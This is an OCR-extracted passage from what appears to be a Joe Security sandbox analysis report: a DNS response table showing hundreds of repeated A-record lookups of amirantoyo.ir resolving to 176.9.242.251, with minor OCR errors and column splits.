Jul 20, 2021 8.8.8.8 192.168.2.4 0x57al No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:10.540813923
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxcffb No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:10.989190102
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x63df No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:11.489212990
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxafdl No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:12.076150894
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0Oxc76e No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:12.901695967
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xa033 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:14.509433031
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxdc3 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:14.961080074
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x3e48 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:15.435410976
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xd86b No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:15.891303062
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x3cd0 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:16.338936090
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x1193 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:16.782994986
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x9cfa No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:17.233980894
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x265a No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:17.695070028
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x51b2 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:18.230410099
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x8a35 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:18.674320936
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x7bd9 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:19.124236107
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x5ae? No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:19.658109903
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x7924 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:20.105468988
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x13d3 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:20.559240103
CEST

Copyright Joe Security LLC 2021 Page 37 of 126



Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jul 20, 2021 8.8.8.8 192.168.2.4 0x5804 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:21.003859043
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxfbd1 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:21.452920914
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xa047 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:21.911231995
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xd685 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:22.375299931
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x9db2 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:22.864190102
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Ox4a No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:23.447578907
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x162f No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:23.961338997
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x708e No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:24.452639103
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xd579 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:24.963654995
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x8bd6 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:25.447391033
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxac6d No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:25.912712097
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxala5 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:26.435501099
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xad27 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:26.936356068
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x70d5 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:27.428010941
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x70ad No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:27.913063049
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x3884 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:28.397161961
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0Oxelb0 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:28.881782055
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xbb87 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:29.368388891
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x5a42 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:29.860146999
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x58c No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:30.467247009
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x9ecc No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:30.961702108
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxceb8 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:31.806248903
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x3dc5 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:33.379371881
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxdeel No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:33.979706049
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x5d30 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:34.466011047
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Ox4c7e No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:34.984258890
CEST
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Jul 20, 2021 8.8.8.8
18:38:35.470521927
CEST

Jul 20, 2021 8.8.8.8
18:38:35.957943916
CEST

Jul 20, 2021 8.8.8.8
18:38:36.429717064
CEST

Jul 20, 2021 8.8.8.8
18:38:36.946693897
CEST

Jul 20, 2021 8.8.8.8
18:38:37.440243006
CEST

Jul 20, 2021 8.8.8.8
18:38:37.955284119
CEST

Jul 20, 2021 8.8.8.8
18:38:38.492990017
CEST

Jul 20, 2021 8.8.8.8
18:38:38.972992897
CEST

Jul 20, 2021 8.8.8.8
18:38:39.476934910
CEST

Jul 20, 2021 8.8.8.8
18:38:40.026249886
CEST

Jul 20, 2021 8.8.8.8
18:38:40.527699947
CEST

Jul 20, 2021 8.8.8.8
18:38:41.045849085
CEST

Jul 20, 2021 8.8.8.8
18:38:41.534818888
CEST

Jul 20, 2021 8.8.8.8
18:38:42.022975922
CEST

Jul 20, 2021 8.8.8.8
18:38:42.501101017
CEST

Jul 20, 2021 8.8.8.8
18:38:43.009989977
CEST

Jul 20, 2021 8.8.8.8
18:38:43.513777018
CEST

Jul 20, 2021 8.8.8.8
18:38:43.978662968
CEST

Jul 20, 2021 8.8.8.8
18:38:44.475469112
CEST

Jul 20, 2021 8.8.8.8
18:38:44.957032919
CEST

Jul 20, 2021 8.8.8.8
18:38:45.466317892
CEST

Jul 20, 2021 8.8.8.8
18:38:46.012047052
CEST

Jul 20, 2021 8.8.8.8
18:38:46.512878895
CEST

Jul 20, 2021 8.8.8.8
18:38:46.993604898
CEST

Jul 20, 2021 8.8.8.8
18:38:47.524802923
CEST

Jul 20, 2021 8.8.8.8
18:38:48.053127050
CEST
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Dest IP
192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

Trans ID

0x4d86

0x9c1d

0x4d13

0x272

0x31lda

0xb5f2

0x676a

Oxa7e6

0x2604

0xd298

Ox5eaa

0x2f10

0x9dd2

Oxeb13

0xd067

0x5622

0x2a0e

0x6868

Oxc4e3

0x3e30

0x2244

0x140a

0x9c9

0x6a76

0x7311

0x2e8

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

CName

Address
176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0Xx0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jul 20, 2021 8.8.8.8 192.168.2.4 0xd9ce No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:48.542165041
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x5ch1 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:49.113965034
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xf79¢c No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:49.616791010
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x9909 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:50.425962925
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xf022 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:52.073581934
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x569c No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:52.581257105
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xdff9 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:53.105115891
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x3f01 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:53.620733976
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xb3 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:54.134198904
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxcadd No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:54.679948092
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x8ccO No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:55.143877983
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxbac0 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:55.696168900
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x2803 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:56.139931917
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xbc88 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:56.638072968
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x3ec6 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:57.132571936
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxaed4 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:57.655314922
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxe50a No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:58.133063078
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xb1f2 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:58.640561104
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x9df0 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:59.099740028
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxaa3a No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:38:59.605319977
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x18dd No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:00.111243963
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x9f51 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:00.607332945
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x2d2d No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:01.086878061
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x352c No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:01.573757887
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x83d5 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:02.107990026
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x1961 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:02.608216047
CEST
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jul 20, 2021 8.8.8.8 192.168.2.4 0x7167 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:03.084109068
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x1858 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:03.576658964
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xc2b4 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:04.050196886
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x81cf No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:04.547162056
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxb6da No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:05.056457043
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xc9cc No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:05.552288055
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxab7e No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:06.056608915
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x8fb3 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:06.619054079
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x965b No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:07.125406027
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Ox5ad4 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:07.567806959
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xb770 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:08.069231033
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x9cbb No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:08.565258980
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxda9e No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:09.056103945
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x24dd No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:09.555665016
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xall3 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:10.062796116
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Ox1ba3 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:10.563935041
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxefdc No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:11.035609961
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x1f36 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:11.538731098
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xdb97 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:12.029247999
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxbaa8 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:12.517282963
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxbbea No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:13.023058891
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x13f7 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:13.526192904
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x87b No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:14.042000055
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x87d6 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:14.551001072
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x7589 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:15.057354927
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Ox5a3a No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:15.553781033
CEST
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Timestamp Source IP

Jul 20, 2021 8.8.8.8
18:39:16.037787914
CEST

Jul 20, 2021 8.8.8.8
18:39:16.527276039
CEST

Jul 20, 2021 8.8.8.8
18:39:17.006568909
CEST

Jul 20, 2021 8.8.8.8
18:39:17.569123030
CEST

Jul 20, 2021 8.8.8.8
18:39:18.105766058
CEST

Jul 20, 2021 8.8.8.8
18:39:18.610543013
CEST

Jul 20, 2021 8.8.8.8
18:39:19.055387974
CEST

Jul 20, 2021 8.8.8.8
18:39:19.576435089
CEST

Jul 20, 2021 8.8.8.8
18:39:20.075360060
CEST

Jul 20, 2021 8.8.8.8
18:39:20.561741114
CEST

Jul 20, 2021 8.8.8.8
18:39:21.072318077
CEST

Jul 20, 2021 8.8.8.8
18:39:21.574085951
CEST

Jul 20, 2021 8.8.8.8
18:39:22.088685989
CEST

Jul 20, 2021 8.8.8.8
18:39:22.581264019
CEST

Jul 20, 2021 8.8.8.8
18:39:23.076904058
CEST

Jul 20, 2021 8.8.8.8
18:39:23.593516111
CEST

Jul 20, 2021 8.8.8.8
18:39:24.102349043
CEST

Jul 20, 2021 8.8.8.8
18:39:24.583331108
CEST

Jul 20, 2021 8.8.8.8
18:39:25.082815886
CEST

Jul 20, 2021 8.8.8.8
18:39:25.569734097
CEST

Jul 20, 2021 8.8.8.8
18:39:26.046782970
CEST

Jul 20, 2021 8.8.8.8
18:39:26.531163931
CEST

Jul 20, 2021 8.8.8.8
18:39:27.009193897
CEST

Jul 20, 2021 8.8.8.8
18:39:27.504024982
CEST

Jul 20, 2021 8.8.8.8
18:39:28.012362003
CEST

Jul 20, 2021 8.8.8.8
18:39:28.503201962
CEST
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Dest IP
192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

Trans ID

0x25af

0x6986

0x19f9

0xa926

0xe371

0xfb83

0x658d

Oxe3e6

0x9c45

Oxbcce

Ox5eal

0x34el

Oxa55f

0x3fd

0x213e

OxbeOe

0xc076

0xd949

0x883f

Oxf2ad

0x3730

0x2734

Oxdfe5

0x71be

0x7e9f

0xba69

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

CName

Address
176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0X0001)

IN (0x0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jul 20, 2021 8.8.8.8 192.168.2.4 0xdf09 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:29.020390987
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x3711 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:29.559758902
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x8d88 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:30.012042999
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xb703 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:30.539298058
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxcc2c No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:31.038408041
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x824a No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:31.545382977
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xf833 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:32.063194990
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x5038 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:32.584688902
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Ox14cb No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:33.079674006
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xe890 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:33.597807884
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x4029 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:34.081520081
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xa383 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:34.593189001
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x9705 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:35.138725996
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x8e29 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:35.604760885
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x9587 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:36.119287968
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x4c92 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:36.609987974
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x3357 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:37.116887093
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x5a0f No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:37.596652985
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xf557 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:38.084047079
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxe36a No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:38.588023901
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxf71e No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:39.091944933
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xd30b No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:39.592170000
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xd6f8 Noerror (0)  amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:40.085722923
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xd971 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:40.653995991
CEST

